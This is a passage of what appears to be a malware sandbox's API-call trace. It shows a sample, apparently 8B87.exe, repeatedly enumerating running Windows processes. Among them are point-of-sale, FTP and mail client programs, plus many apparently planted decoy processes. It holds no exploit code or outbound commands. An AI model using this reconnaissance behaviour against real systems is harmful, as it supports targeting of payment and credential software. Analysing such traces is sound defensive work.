(in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0211.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0211.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0211.779] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0211.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0211.784] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0211.787] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0211.789] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0211.792] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0211.795] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0211.798] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0211.801] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.803] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0211.806] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0211.809] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.812] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0211.814] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0211.817] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0211.820] CloseHandle (hObject=0x11c8) returned 1 [0211.821] Sleep (dwMilliseconds=0x64) [0211.823] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0211.870] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.875] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.878] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.882] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.885] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.888] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.894] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.897] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.901] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.905] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.909] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.912] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.917] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.920] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.923] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.927] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.929] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.933] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.936] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.939] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0211.942] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.944] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.946] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0211.949] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0211.952] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0211.954] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0211.956] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0211.959] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0211.962] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0211.964] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.966] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.969] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0211.972] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.974] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0211.977] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0211.979] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0211.982] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0211.984] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0211.987] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0211.990] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0211.992] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0211.995] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0211.997] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0211.999] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0212.005] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0212.008] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0212.012] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0212.016] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0212.097] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0212.099] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0212.102] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0212.104] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0212.107] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0212.109] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0212.111] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0212.113] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0212.116] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0212.119] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0212.122] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0212.124] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0212.127] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0212.131] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0212.134] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0212.137] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 